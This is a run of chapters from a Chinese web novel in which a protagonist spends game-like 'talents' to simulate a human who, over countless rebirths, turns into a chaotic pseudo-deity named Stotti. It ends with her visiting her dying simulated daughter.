    【合作者拥有天赋如下：午夜（黑-∞），贵人相助（紫-二级），含情脉脉（紫-一级），眉目如画（蓝-五级）】


    【其中：午夜（黑-∞）为神秘【夜灵】权能，不可投入模拟】


    【贵人相助（紫-二级）不可投入模拟】


    【是否花费1100点能量，携带天赋——含情脉脉（紫-一级），眉目如画（蓝-五级）】


    【午夜】是【午夜梦回】进阶版，自从她在现实世界上了户口，金色天赋就变异为黑色权能，描述也变为了【夜晚降临，神秘即


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    你】，相当于在黑夜里套上一层无敌buff，同时夜晚做任何事情，花费的能量都会减去约90%。


    而能带进板块二的两个天赋主要与“美”有关，熟练度和级别不低，但是带入模拟投入太大。


    而且模拟神秘带入“美貌”......【美神】类似权能不是南音笙现在想要的。


    “......算了，抽取吧。”


    【重生（金-一级），老年痴呆（白-一级），孤岛（白-一级）】


    “运气...还挺好。”


    【重生（金-一级）：在你80岁时，你的身体机能回到八岁（一次性）】


    “但又感觉有点差...系统，天赋抽取真的是完全随机？”


    【老年痴呆：从60岁开始，每年智慧－10】


    【孤岛：你是自闭症患者】


    【合作者请放心，天赋抽取完全随机，只是第一次启用第二板块，拥有一次性天赋加成】


    【同时，合作者能选择历史上存在过的任意生物为模拟对象，天赋中涉及到的年龄会自动对应选中生物的年龄阶段，非固定】


    【请合作者选择模拟对象】


    话落，一向固定模样的系统界面化作水银从南音笙手边流走，它不规则地平铺在虚无之地。


    由于缺少物理规则的束缚，本该在一个水平面上的水银界面悬浮在空中与脚下。上下左右，所视之处，皆为光滑连接的不规则“平面”。


    很快，这些平面上罗列出数不胜数的生物名称和对应图貌，它们以她为圆心，拥趸着名为南音笙的神秘。


    大量信息包围中，她有一瞬间恍惚。差点以为自己真能主宰这些生灵。


    南音笙阖上眼。


    “选人，随便一个人。”


    她做了一辈子的人，最了解的是人类，最期望发展的也是人类。


    如果伪神秘经过时间的洗礼化为真正的神灵，那不管祂之后有无意识，南音笙都希望这些曾经与人类有连接的存在，能够在心底对自己曾经的种族保留一份善意。


    正如现在的她。


    而且南音笙还记得上辈子的神话故事。


    有智者言：神灵按照自己的模样创造了人类。


    有智者言：人类按照自己的模样制造出神灵。


    现在不是很有意思吗。


    她是人，也是“神”。


    她选择人为载体，创造的存在最终会成为“神”。


    人性让她与自己的种族纠缠不断。


    她也在这些纠缠中更好的认识自己。


    系统不知道南音笙的所思所想，祂一如既往地执行合作者口令。


    【已执行】


    【随机人类生成中】


    【模拟开始】


    【0岁：你开始孕育】


    【你的同胞似乎更强壮，你得到的营养不足，似乎有被消化的风险】


    南音笙：“？？？”


    她试探着输入指令：争取更多营养。


    【0岁：你吸收掉了同胞，你顺利出生，是个男孩】


    【触发天赋：自闭症】


    【你的母亲看你不吵不闹，决定养育你】


    南音笙满头问号。

 35.金色天赋

    系统第二版块咋一看和第一板块相似，但是一直没有显示模拟生物的各项属性，也没有人物所在背景。


    因此南音笙即使迷惑，也只能靠试探着继续模拟。


    【1岁：你是部落里最安静的孩子，不哭不闹，每天除了吃就是睡】


    【天赋孤岛：持续使用中】


    系统界面上，三个天赋从上往下并排，哪怕模拟时间在变化，天赋也一直显现，没有消失。


    每个天赋旁边还有衍伸出的“+”号，有点像电子游戏。南音笙试探着点开【孤岛】的“＋”。


    模拟暂停。


    【孤岛】天赋弹出，介绍占满半个界面。另外半个界面则有：修改，升级，转化三个选项。其中“升级”显示正在进行中。


    南音笙点开修改。


    虚拟之笔握于她手，系统界面上变为一片空白，只等南音笙写下新的内容。


    能量聚集在她的指尖，每当脑海里想要落下笔记，冥冥之中自会预估出需要消耗的能量。


    而改动的字越接近原本的意思，消耗越小，但是后续天赋的升级和转换则会相应改变。


    【孤岛】这个词太具体，而权能大多虚无缥缈，南音笙看着界面上的空白，心中有了决定。


    界面转变，天赋【孤岛】变为【孤独】


    2000点能量自动扣除。


    【孤独：你是自闭症患者】


    天赋内容不变，但是天赋转换和升级的可能方向无限扩大。


    修改之后，系统界面自动回退为模拟。


    南音笙又点开【老年痴呆】，选择转化。


    【转化：请选择转化需要能量，效果随机】


    这个选项更奇妙了。


    没有转化后的效果，没有转化后变好的保障，甚至连转化的方向也不确定。


    而且消耗的能量从0到无限，可想而知的吞能量大户。


    南音笙打算试着投入500点能量，如果效果不佳，以后都会慎用。


    页面转变


    【老年痴呆】天赋名称不变，内容变幻。


    【老年痴呆：从60岁开始，每年智慧－10】


    【老年痴呆：从30岁开始，每年智慧－10】


    南音笙：......


    南音笙冷笑一声，继续模拟。


    【2岁：你不哭不闹，但是吃得也很少】


    【你的母亲认为你不够强壮，可能活不到长大，因此对你逐渐失去耐心】


    【3岁：你知道自己所在部落为“簇”，部落首领是你母亲的母亲，你的父亲是其他部落的勇士，但是不知姓名】


    【你听说母亲打算把你养到5岁，如果5岁后你没有更健康的身体，你就会失去母亲，成为部落内共同养育的普通孩子】


    【你很聪明，隐约意识到多吃食物能够拥有更好的未来】


    【4岁：你尝试争抢食物，开口交流，但是每当起了类似的念头，你又会突然失去想法】


    【世界于你似乎隔着厚重的石墙，你出不去，看不清，只能模糊感受到来自外界的声响】


    【你还是很瘦弱，并且越来越不想说话，吃得越来越少】


    【天赋孤独：持续使用中】


    【孤独（蓝-一级）：你是自闭症患者，世界与你相隔一墙】


    【5岁：你被放弃了】


    【你离开了母亲所在的家，搬到许多孩子居住的地方】


    【你开始学习采集和躲避野兽】


    【你每天都会见到不同的人，她们会在天亮后带你去工作，夜晚来临前带你回到住所，并且给你基本的食物】


    【因为你不会说话，同住的孩子不喜欢你，还经常抢你的食物】


    【你想要告状，但是每升起类似的想法，你又会突然失去对身边一切的兴趣】


    【你浑浑噩噩，任由他们所为】


    【连采集食物，也只在别人的要求下进行，一旦要求的人离开，你就会待在原地发呆】


    南音笙看得皱眉。


    【孤独】虽然原本是白色天赋，但对人的影响远超它的等级，十分致命。


    她做过许多尝试，包括但不限于直接输入指令，让模拟人物说话或者争抢资源；侧面要求他多休息，以此来使精神稍微好些。


    但是在【孤独】天赋加持下，大多数意愿都会遭到过滤。


    模拟人物没有意愿，不仅没有她输入指令的意愿，甚至没有主观活下去的意愿。


    他就像一具真正的空壳，脆弱又苍白。


    这样下去，模拟人物只剩下早夭的结局，而南音笙的投入也打了水漂。


    “系统，必需佩戴所有天赋？”


    “合作者，神秘模拟板块一次必需携带三种天赋。但是天赋可以循环使用，合作者不用担心。”


    南音笙模拟出的眼皮跳了一下，“你是说，抽取到的天赋，以后不管模拟多少次都可以用？并且继承天赋的模拟人物，不需要和最开始的模拟人物有血缘关系？”


    “正确。”


    南音笙将视线转回模拟。


    仅仅开启第二板块是不需要能量的，神秘模拟真正耗费能量的是【天赋】。


    因此，当【天赋】成为可回收再利用资源，所有模拟的生物都成为【天赋】的寄生品和试验品。


    也就是说，真正性价比高的模拟方法，是不断让模拟人物携带同一种天赋，将其升级至金色五级。


    而这样做，也代表她不用操心每一个模拟人物，只要让模拟对象活下去就好。


    南音笙摸了摸自己不存在的良心。


    继续模拟。


    【6岁：你每天采集、学习】


    【7岁：你每天...】


    ...


    【11岁：你长大了，被赶出孩子们的住所】


    【你是部落里瘦弱的劳动力，没有能力建造温暖的巢穴，也没有人愿意帮你】


    南音笙输入指令：全力以赴地活下去


    【12岁：你苟延残喘】


    【13岁...】


    ...


    【15岁：你太痛苦了，无论是身体还是精神】


    【你死了】


    【孤独（蓝-三级）】


    【模拟结束】


    评分：9


    评语：......


    南音笙简单看了两眼评语，直接投入下一轮模拟。


    【模拟开始】


    携带天赋：


    【重生（金-一级），老年痴呆（白-一级），孤独（蓝-三级）】


    【0岁：你出生了】


    【1岁：你不哭不闹，但也不会对母亲的爱护作出反映】


    【你吃得很少，你的母亲决定养你到5岁.......】


    ....


    南音笙输入指令：全力以赴地活着。


    【5岁：...】


    ...


    【9岁：你死了】


    【孤独（蓝-五级）】


    ......


    【模拟开始


    ...


    【你死了】


    【模拟开始】


    ...


    【你死了】


    【孤独（紫-一级）:你是自闭症患者，与世隔绝，终生活在自己的精神世界】


    ......


    【模拟开始】


    .......


    .......


    【孤独（金-一级）：你与世隔绝，在精神世界搭起了自己的安身之所】


    四十三次模拟过后，孤独这一天赋没有耗费任何能量地升级为金品质。


    南音笙内心没什么波动，丝


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    滑地投入新一轮。


    【模拟开始】


    【0岁：你在母亲的体内紧闭双眼，孱弱的意识受到冥冥指引，带着尚未完整的新生灵魂离开母亲赋予的□□，进入隐秘与伟大存在踏足的空间】


    【你的身体死了】


    【你的精神独自飘荡，没有方向，没有退路】


    【你弱小且无知，纯白的灵魂空茫般无所畏惧】


    模拟人物脱离了掌控。


    南音笙可以通过界面输入指令，但是模拟人物却没办法执行。


    进入非现实空间后，模拟人物无法选择行进方向，只能任由自己飘荡。


    南音笙唯一能做的，就是让模拟人物自裁。


    但是现在还不到那个时候。


    【1岁：你独自飘零】


    .......


    【13岁：你独自飘零】


    ......


    【30岁：你独自飘零】


    【天赋老年痴呆生效中】


    【智-10】


    【智：-10，体：0，貌：0，快乐：0，家境：0】


    “......”


    “...这是什么白板。”


    “系统，这个空间是天赋自带的？模拟人物出不去？而且模拟人物的体是0，她为什么还能活着？”


    系统罕见的没有给出确切回复。


    “探究详情所需的能量与得到答案后的收益不匹配，合作者若想知道情况，可以选择将能量投入系统，准确答案将在一个现实日内传回。”


    “需要多少能量？”


    “10000点”


    “.....算了继续模拟。”


    【31岁：你独自飘零】


    【智-10】


    ...


    【智-10】


    【智-10】


    【智-10】


    ......


    【智：-100，体：0，貌：0，快乐：0，家境：0】


    【老年痴呆（蓝-一级）：你患有老年痴呆，不再年轻之时，意识逐渐模糊】


    南音笙发现了有趣的地方。


    【意识逐渐模糊】


    而模拟人物来到这个空间，最开始是由天赋【孤独】造成的，【孤独】的描述中，这里是精神世界的安身之所。


    那【意识模糊】是否会在后续变为【精神模糊】，甚至是【精神离开躯体】？


    如果【老年痴呆】也变为金色天赋，模拟人物是不是就能离开了？


    于是她删掉了【自裁】的指令。


    【41岁：你独自飘零】


    【智-10】


    ....


    【76岁：你独自飘零】


    【智-10】


    ......


    【79岁：你独自飘零】


    【智-10】


    模拟暂停。


    系统界面上，一直未曾使用的金色天赋闪烁着光芒。


    【重生（金-一级）：在你80岁时，你的身体机能回到八岁（一次性）】


    南音笙选择修改，想要删除【一次性】的描述。


    虚无之笔握在手里，前面的抄录不需要能量，直到南音笙写完八岁，想要画上句号。


    顷刻间，黑洞般的吸附力从系统界面传来。


    如果想要删除【一次性】，那么所需的能量等于一个南音笙。


    模拟的人脸失去形状，如同砂砾奔向黑洞口。


    撕扯灵魂的力度让南音笙感受到久违的恐惧，她的大脑有一瞬间空白。


    但是下意识的反映更快，等到吸附力消失，系统界面上留下了金光闪闪的一行字。


    【重生（金-一级）：在你80岁时，你的身体机能回到八岁（三次）】


    能量扣除5000点。

 36.第 36 章

    南音笙很快从恐惧中抽离。


    毕竟身体完全由能量构成，持续不断的情绪反应才是异状。甚至于，她感受到恐惧，也来源于意识深处残留的人类本能。


    南音笙没有探究自己是不是差点没命，也没有质问默不作声的系统，只是平静到诡异，全心全意投入模拟。


    【80岁：天赋重生触发，你的身体和时间重回八岁】


    【8岁：你独自飘零】


    【自有意识以来，你只见过一种景象，只感受过一种的温度，只做过一种行为】


    【你意识不到自己现在的状态是重生，你只是重复每时每刻的飘零】


    【你虚无，你空茫，你空白，但你坚韧至今仍未崩溃】


    【你是空间里的沙砾，你似乎渺小不堪，你似乎强大到不可战胜】


    南音笙逐字逐句的阅读完界面上的文字，意味不明地勾起唇角。


    “系统”的描述真有意思。


    【9岁：你……】


    ……


    【30岁：天赋老年痴呆触发，智-10】


    ……


    【天赋重生触发，你重回八岁】


    ……


    【天赋重生触发，你重回八岁】


    ……


    【重生（金—二级）：八十岁时，你会重回八岁（使用次数五）】


    模拟中形成了奇妙的正反馈。


    使用【重生】会升级天赋，升级天赋能继续使用【重生】


    重生后，【孤独】和【老年痴呆】持续发力，加上明显突破人类极限的智商下限，【老年痴呆】的升级坐上了特快列车。


    同时，模拟人物所在的空间死寂没有活物，自然也没有任何可交流和倾诉的对象。天赋【孤独】的升级速度达到了不可思议的地步。


    南音笙计算着重生次数，在确认最后一次重生使用后也不能升级，暂停了模拟。


    【智：-8490，体：0，貌：0，快乐：0，家境：0】


    【重生（金—三级）：…（使用次数一）】


    【孤独（金—四级）…】


    【老年痴呆（紫—四级）：你患有老年痴呆，精神时常出走，灵魂时间断续，让你与世界悄然偏离】


    【重生】这一天赋特殊，南音笙不想放弃。


    而且她猜测，并不是所有天赋都能变为权能，只有具有特殊定义的天赋才有可能。


    并且天赋升级为权能不是依靠熟悉和经验，而是独特的变化。


    比如她从无身份者变为神秘。


    【午夜梦回】因此成为【午夜】


    【重生】兼具了特殊定义：时间与空间，还自带“独特变化”：随着时间的流逝，模拟人物本该步入死亡，但是流动的时间将她带到80岁，她却走向了新生。


    因此南音笙猜测，重生是这些天赋里最有可能变为权能的。


    重生次数绝不能归零。


    现在，模拟人物即将走到新的80岁，最简便的办法就是让其自裁，保留重生的最后次数。


    但这次的模拟人物也很特殊。


    她没有实体，只有发育不足且保持了几百年的“稚嫩”灵魂。


    如果其他模拟人物，多次重生必定崩溃。但她不同，如“系统”所说，她空白，空茫，但却坚韧至极，精神之韧堪称不可战胜。


    各方面还没有下限。


    另外，模拟人物不在物质世界，而是独自来到了被称为“伟大和隐秘存在踏足的空间”。


    虽然这可能是【孤独】的影响，但仔细研究就会发现，【孤独】的描述是在精神世界搭建安身之所。


    这片空间是吗？


    它显然不是。


    它既不是精神世界，又不是“安身之所”。它更像南音笙所在的虚无之地，非人的居住地。


    模拟人物能够来到这个地方，本身就代表其存在独特之处。并且在这片空间内，模拟人物才能安全活到重生年龄。


    系统的第二版块可是叫神秘模拟，南音笙要做的是模拟出伪神秘。


    为此，一切特殊都值得关照。


    让模拟人物自裁太不划算，只能找其他办法。


    ……


    其他办法…也很明显。


    南音笙点开【重生】—【转化】，不存在的心隐隐作痛。


    她已经在【神秘模拟】上花了7600点能量，但没有得到任何回馈，现在还要无底洞般继续投入。


    她更思念南昙了。


    那可是能精心打理南家资产，最后还分文不取，想将其翻倍归还的贴心孩子。


    系统为什么不能多虚心学习？


    它要是能反哺能量，之前差点“吃掉”她的仇也能一齐抹除了。


    南音笙思维飘忽一瞬，面上却一如既往的专注。


    她干净利落地投入了2000点能量。


    天赋缓缓变换。


    【重生：八十岁时，你会重回八岁（使用次数一）】


    【重生：五十岁时，你会重回二十岁（使用次数五）】


    意外之喜。


    但模拟人物早就年过五十。


    南音笙试着继续模拟。


    【80岁：你独自飘零】


    没有显示重生，模拟暂停。


    【重生】—【修改】


    【重生：五十岁后，你会重回二十岁（使用次数五）】


    能量扣除500点。


    模拟继续。


    【81岁：天赋重生触发，你重回二十岁】


    【理智+1】


    “系统，理智是？”


    虚空中没有传来回应，南音笙猜测它大概还沉浸在将她一口闷的震惊或幻想中。


    南音笙本来也不指望系统，暂时隐下疑惑。


    【二十岁：…】


    ……


    【五十一岁：天赋重生触发，你重回二十三岁】


    【理智+1】


    南音笙皱眉，点开了【重生】，天赋介绍上在没有任何措施的情况下自己变了。


    【五十岁后，你会重回二十三岁（使用次数五）】


    但这种变化没有坏处，如果只是缩短重生时间换取重生次数，无疑是划算的。


    【五十一岁：天赋重生触发，你重回二十五岁】


    ......


    【五十一岁：...重生....二十八岁】


    ...


    【五十一岁...三十岁】


    ...


    【...重回...三十六岁]


    ...


    【...重回...四十八岁】


    ...


    【...重回...八个月前】...【...三个月】...【...24小时前】...【三小时前】...【四十分钟前】...


    【智：-？？？...理智：198】


    南音笙没有对模拟人物下达任何命令，只是看着她不断重生-老去-重生，随着【重生】的时间越来越接近，诡异开始显现。


    【你的灵魂数次轮回，意识携带灵魂的砂砾逐渐堆积】


    【你的灵魂开始出现增殖，你多出一层薄纱般的外壳】


    ...


    【你多出一双手】


    ...


    【你多出三只眼睛】


    ...


    【你多出几支中空的喉咙...】


    ......


    【你的意识开始携带更多灵魂物质】


    【你多出半具身体】


    ...


    【你的灵魂多出红色外观的血肉】


    ...</p


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    【你的意识携带上一层时间的灵魂与你现在的灵魂相遇】


    【你的“两具”身体开始融合】


    ..


    【你的“躯体”开始回归最初之形】


    ......


    南音想象了一下模拟人物的“形状”


    随着身体器官和血肉的增多，她不信所谓的回归最初之形会是人形，更大可能是细胞胚胎的圆形。


    也就是说，现在的模拟“人物”开始变成球形态的红色玩意...并且这个形态直接作用于灵魂。


    伤眼睛的丑，或者对人类而言，伤眼睛的恐怖。


    现在的模拟人物，大概已经不算是“人”了，虽然从她离开母亲的身体开始就脱离了现实定义的人，但从此刻开始，她彻底远离人类，成为“怪物”。


    【重生】还在继续。


    【五十一岁：...重回...60秒前】


    ...【20秒】...【五秒】...【1000毫秒】...【1000纳秒】...【..皮秒】...


    时间遭到无尽的压缩，却又在无限膨胀，明明小到忽略不计，但仿佛永远没办法抵达尽头。


    而天赋【重生】终于达到了顶端，变为【重生（金-五级）】


    反而是本该轻易升级为金色天赋的【老年痴呆】卡在橙色等级，迟迟没能更进一步。


    【老年痴呆（橙-五级）：你患有老年痴呆，精神与灵魂分离，时间在你身上堆积又断续，你混沌蒙昧，无处呻/吟】


    南音笙收回看见这三个天赋时说的话。


    她当时的运气好到不可思议。


    【老年痴呆】等级的卡壳意味着它存在特殊之处，而特殊就是南音笙现在最需要的。


    按照现在这个趋势，她应该会成为第一个成品。


    所以，“你应该叫什么呢？”


    模拟人物一直没有名字，南音笙现在想帮她取一个。


    作为她长久以来坚持活着的奖励，南音笙输入指令：“你想叫什么名字”


    【五十一岁：...你想要叫什么名字？】


    【......】


    【你的理智是绝对的本能】


    【极端蒙昧之时，你的理智是你不曾了解的第二意识】


    【它是第六感，是本能，是区别于本能，但能让你选择最有利答案的物极必反】


    【它没有实体，不会于任何层面显现，只会悄然成长，让你与“你”分割又融合】


    【你的灵魂深处传来疑问，你不知道那是哪位存在的声音，但本能献上回应】


    【......st..u..ot】


    【你的母亲曾用身体滋养你尚且稚嫩的灵魂】


    【在久远到难以追溯的曾经，她在你的灵魂之底镌下自己的声音】


    【你的母亲曾诉说过你的名字】


    【你极尽所能，歇斯底里，刨尽了灵魂和记忆，找出深刻灵魂底色的音节】


    【你在心底不着章法地呐喊哭嚎，你的灵魂终于挤出混乱模糊的字音】


    【st..uo..t】


    “是途啼？”


    斯凃提？


    “斯托提，你以后的名字就是斯托提。”


    【五十一岁：不记时间的现在，你终于刻下了自己的名字】


    【斯托提】


    【......】


    【理智+10】


    【老年痴呆（金-一级）：你的意识与灵魂分离又相连，时间在你身上堆积又断续，你混沌蒙昧，通透如苍老稚子】


    老年痴呆一升级，其他两个天赋就遭到连带改变。


    【孤独（金-五级）：你与世隔绝，在精神世界不尽求索】


    【重回（金-五级）：你在时间之内循环不断，不得解脱】

 37.混沌

    斯托提独自飘荡在不知名且仿佛无尽头的空间里。


    系统对她的描述，也从最初的【渺小如沙砾】到现在【你极尽成长，仿若从不同层次时间内名为“斯托提”的存在中汲取能量】


    【你依靠自身供养自身】


    【你在无意中寻找时间的锚点】


    【你在悄然取代此方世界不知存在于何处的主人】


    南音笙眨眨眼。


    与其说“系统”是在描述斯托提，不如说“系统”掀开了她未明言的打算。


    已知神秘代表的因素有四。


    1：独属于自身的权能。


    2：普通生命遇之即疯的气息。


    3：居住在独立于现实世界的空间。


    4：世界承认的身份。


    伪神秘之所以称之为“伪”神秘，是因为祂们缺少世界的认可，但却拥有神秘的特性，所以权能，气息，独有空间皆不可缺。


    南音笙不是土生土长的神秘，不知道区别于现实世界的空间怎样获得。


    所以在模拟人物来到现在的空间后，南音笙想要撺夺的心蠢蠢欲动。


    何况模拟人物不知道飘了多久，这片空间内本该存在的神秘一直不见踪影…如果能不直面其他存在，悄无声息地得到一个空间...


    南音笙感觉自己受不了此等诱惑。


    模拟还在继续，斯托提困在五十一岁，灵魂的形态急剧膨胀，成指数倍增长。南音笙早就放任了她的发展，只不过目光灼灼，等待模拟“人物”新一轮的蜕变。


    【五十一岁：...你死了...】


    【五十一岁：...你重回...你死了...】


    【...你重回...】


    ......


    【你本能靠近时间的基点，你本能追溯仿佛永远无法到达的中心】


    【你在啃食极致压缩中的时间曲线】


    【无数次重生的缝隙中，名为斯托提的血色灵魂充斥其间】


    【你越来越庞大，你越来越渺小】


    ...


    【你疯了】


    “？”


    原来斯托提还能疯吗？


    南音笙的疑惑一闪而逝，毕竟她也没见过智商无下限的模拟人物，难以想象其精神状态。


    她更在意“系统”越来越抽象的描述，虽然她能够理解所谓的【越来越庞大，越来越渺小】，却无法解释【重生缝隙中的血色灵魂】


    斯托提虽然无数次重生，循环往复，不得尽头，但是她每次重生的时间间隔都在缩短，“系统”所说的【基点】和【中心】就是这些不断缩短时间的尽头。


    如果时间拥有刚硬的具体形状，并且一直延伸，那南音笙就是站在这具模型最初之形的看客。她抬眸远望，只能看见在时间里走得越来越远的斯托提。


    不断轮回，让她逐渐庞大。轮回外真实的时间流动，让本该庞大的斯托提在时间的维度里逐渐渺小。


    但是除此之外的斯托提只是普通生物，她没有没有主动干涉时间的权限，也不能将意识分割进不同层次时间里的灵魂...所以“系统”描述中【斯托提缝隙中灵魂】就值得深探了。


    模拟又过了几千轮，毫无进展，南音笙暂停模拟，打开天赋【老年痴呆】-【修改】


    【老年痴呆】-【痴呆】，能量扣除500点，金色天赋具体描述不变，只不过从出生起，模拟人物每年减少10点智慧。


    这不是南音笙想要的，她继续【修改】


    【痴呆】-【痴愚】，能量扣除500点，其他描述不变。


    “系统”自动退回模拟界面，但下一刻又在南音笙没有动作的情况下自动弹出天赋【痴愚】的介绍。


    原本的描述无声扭曲。


    【痴愚：你的意识与灵魂藕断丝连，时间在你身上清稠黏腻，你挣扎于沉重的灵魂与时间的缝隙，混沌疯狂】


    正当南音笙以为自己发现了一个省能量小妙招时，身上的能量骤然消去2000点。


    南音笙：......


    看了眼能量余额，南音笙意识到人总要疯狂一次。


    【痴愚】-【修改】


    【痴愚】-【盲目痴愚】


    能量扣除500点。


    片刻后，自行扭曲的天赋描述定格。


    【盲目痴愚：你拥有生灵无法理解的混沌】


    能量扣除6000点。


    身体能量消散那一瞬间，南音笙意识到，如果不是【老年痴呆】是金色天赋。如果不是经过改动的【痴愚】里有关于“混沌”的描述。


    那【修改】的后续里，扣除的就不止是6000点能量了。


    冥冥之中，【盲目痴愚】必定为某位存在的权能，它需要神秘本身去置换。


    南音笙警醒自己，系统板块二的不确定性太大，以后还需万事小心。


    不过，这次的模拟终于稳了。


    【∞岁：你的疯狂，疯了】


    ......


    【你区别于世间所存生物，成为不可理解之物】


    ......


    【∞岁：你在难以计数的时间里独自飘荡，你在没有尽头的空间之内盲目前行】


    【你不知道这片空间是否存在真正的活物，也未曾想过除去孤身之外的其他生活方式】


    【你只知道自己名为斯托提，除此之外，疯狂的意识在相互啃食，意识的疯狂又在相互吞噬】


    【你的疯狂开始弥散】


    ......


    【∞岁：你的气息在空间内尖嚎，肆无忌惮朝向失去物理规则的周遭扩散】


    ......


    【∞岁：你似乎成为了此方空间的拥有者】


    【盲目痴愚（黑）】


    【重组（金-五级）】


    【孤独（金-五级）】


    【重生】原本就在【老年痴呆】的影响下变为【重回】，现在又在【盲目痴愚】的影响下改变成【重组】。


    但模拟至现在，它仍没有成为南音笙最初期待的权能，反而逐渐失去了与时间相关的特性。


    【重组：你在时刻重组变幻，增殖扭曲】


    南音笙看了眼自己的“余额”


    【剩余能量点数：379点】


    放弃了死磕时间权能的计划。


    “系统，你在吗？斯托提现在已经是伪神秘了吧，为什么还没结算？”


    总不能和人生模拟一样，模拟人物死后才有评价和评分。


    等了两个数，系统的声音才从天边飘来。


    “系统板块二：神秘模拟随时能结清，合作者是否现在结算。”


    “现在结算能得到多少能量？”


    又等了两个数，“合作者是否花费100能量点提前预演模拟结果。”


    南音笙：“……不用了。”


    她转移话题，“系统，你说过真正模拟可以让我的意识进入，直接操控模拟人物。”


    只不过人生模拟时，她和系统足够清贫，没有更好的模拟条件，等得到天赋【午夜梦回】，才开始“真正”模拟。


    那现在呢？


    她和系统都已升级换代，为什么不能意识进入？


    又是两个数的寂静。</p


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    系统：“意识载入100能量点/次，合作者是否载入意识。”


    南音笙没有犹豫，“是。”


    【正在执行】


    【合作者请闭眼】


    ……


    有什么在肆无忌惮地搅动她的脑髓，让她疯狂，让她眩晕。


    南音笙忍受着搅弄，睁开镶嵌在血色皮肉里的万千眼球。


    混乱的视觉挑动感官，让意识里的一切显得更加无序。


    借助斯托提的眼睛，南音笙看见了层叠的黯淡星空——视之所及是浓稠的黑暗，但是遥远的远方又传来令人向往的微光。


    这片空间和虚无之地不同，它更像是宇宙深处。


    本能的，南音笙深吸一口气。


    血色肉球裂开数不清的不规则口子，一些错位的内脏从裂口处飘出。


    它们有的藕断丝连，连接着内里，跟随斯托提在空间内盲目航行。有的完全析出，像是受到行星吸引的尘埃，围绕着斯托提游走。


    南音笙没有理会破烂的身体器官，专注地适应这具“身体”。


    片刻后，她尝试改变行进的方向和速度。


    意料之中，失败了。


    这片空间没有着力点，没有可辨认的方向，物理规则缺乏，加上这具容器没有相关的权能，只能仍由自己飘荡。


    而巨大的肉球却携带着无法理解的疯狂，在这片无垠之地生存至今。


    南音笙有一瞬间共情了拥有懵懂意识的斯托提。


    她是独自漂流的彗星，直到【她】到来，终得解脱。


    南音笙在心中叹息一声。


    她进入模拟的本意，就是剿灭这具“灵魂”里残存的意识。


    系统的目的暂且不提，她在得知系统板块二为“神秘模拟”时，猜想过模拟对象会有自主意识，因此选择【人】作为伪神秘的载体，以防万一。


    但模拟中，南音笙意识到“神秘模拟”的不确定性太大——她，他，她们若在饱受折磨后成为伪神秘，残存的意识是否甘心继续蛰伏？祂们会愿意待在死寂的独立空间，还是想方设法让现实世界的生灵一同沉沦？


    南音笙承认自己不是好东西，所以为了自己理想的住所——现实世界，不毁在祂们手里，她改变了主意。


    与其依靠伪神秘们曾经为人的慈悲防止祂们伤害现实世界，还不如直接磨灭祂们的意识，让伪神秘完全受她操控。


    却没想到，最后做了一件意料之外的“好事”。


    哪怕这些“好事”对应的悲剧由她和系统亲手缔造。


    南音笙抹掉心底的那一抹感慨，看了成为空壳的斯托提一眼，缓缓脱离。


    【意识载出】


    【模拟暂停】


    她回到虚无之地，向虚空开口，“系统，结算吧。”


    “斯托提什么也做不了，她身上的【孤独】和【重组】也很难变为权能。我不想浪费时间了。”


    这次系统回应很快。


    【正在结算，合作者请稍等】


    ……


    【结算结果如下】


    【伪神秘：混沌—斯托提】


    【权能：混沌，扭曲】


    【生时：2678年212天03时55分09秒…】


    【意识度：中】


    【世界影响度（初期）：低】


    ……


    【评分：不可评分】


    【系统评价：你只是一个空壳，无话可评】


    【恭喜合作者，获得能量点数：1×10000+2×5000=20000点】


    【剩余能量点数：20279】

 38.无需感伤

    手上的能量基本没变，但是模拟人物里多了个斯托提，并且伪神秘的“档案”一直存在，只要南音笙需要，随时可以顶号。


    等到斯托提的时间走到现代，她也算能披马甲上阵的人了。


    长久的模拟让精神稍显疲惫，但南音笙没有立刻回到现实世界的打算。


    她退出【神秘模拟】，打开了系统板块一。


    【检测到模拟人物“南梦”余血亲“南启”、“南则”、“南株”、“南娥”......在世，是否继承血亲属性，继续模拟】


    【南期属姓如下：体91/98，智93/99，颜85/99，家境85，快乐30】


    【南芹属性......】


    界面弹出人物选项，但是“南梦”的血亲已经换了一轮，大多是没什么印象的名字。


    南音笙沉默片刻，“系统，南昙还在世吗？”


    “合作者是否花费10点能量探测模拟人物所在家族进度？”


    “......是”


    系统终于掉进钱眼里了...还是在转移注意，利用赚能量的动力来抑制吃掉她的欲望？


    【正在查询】


    【查询结果如下：南昙（濒死）】


    南音笙沉默了。


    如果南昙已经离开人世，那自然一切随风。


    如果南昙还活着，那也可以顺其自然。


    偏偏系统给出的状态是“濒死”。


    仿佛冥冥之中，她就该去看她最后一眼，让这位模拟中的女儿瞑目。


    好吧，那就去送她最后一程吧。


    “选南株，开始模拟。”


    【模拟开始】


    【天赋携带成功：午夜（黑-∞），贵人相助（紫-二级），含情脉脉（紫-一级），眉目如画（蓝-五级）】


    【携带天赋超出，自动扣除能量60点】


    【数值二次分配完毕，人物属性继承完成，相关上限再分配成功】


    【南季属性如下：体90/97，智81/97，颜120/100，家境90，快乐0】


    【19岁：你成为南家家主】


    【主动触发天赋：午夜】


    南音笙看了看自己现在模样，这张脸与她现实世界的本貌有七成相似。


    白肤墨发，怎么看都不是活人，更像夜晚隗树下独站望月的魂灵。


    侍者诚惶诚恐，家族后辈候于门侧。


    他们皆低头恭敬，对待她如侍神灵。


    虽然她的确如此。


    “我出去一趟，做你们自己的事。”


    南音笙消失在众人眼前。


    模拟中，她使用天赋更加熟练了。


    只要她想，能随时知道夜色里正在发生的所有事。


    黑夜是她的眼睛，也是她的车马。


    南音笙眨眼间找到南昙所在，又在瞬息来到她的身旁。


    这孩子没有听从她的建议，固执的半生清贫，独居空院。


    她赶走了南家派来的仆从，又训斥了前来照顾她的南家小辈。


    她是别人眼中古怪的老人，连在生命垂危之际，依旧不允许仆从进屋，独自躺在冷硬的床板上静候死亡。


    “出去。”感受到有人来到身旁，南昙呵斥道，“都出去，吾无需照料。”


    也许是母亲的馈赠，南昙感受到死亡将近，但并没有太多痛苦，连说话的声音也不显虚弱。


    最多...疲惫至极。


    闭眼入眠，即是永恒。


    但为什么她还坚持着不肯闭眼呢。


    南昙质问自己，脑海里立刻浮现出从少年到老年的种种片段。


    她似乎又看见了面容模糊的胞弟，他尚且稚嫩，拿着一支木簪向姊姊献宝。他逐渐长成，读书习字，诵经研学。他穿上隆重的礼袍，在众人的祝福中携妻拜首...


    她看见了母亲，母亲从未允许她在记忆里留下【她】清晰的面目。


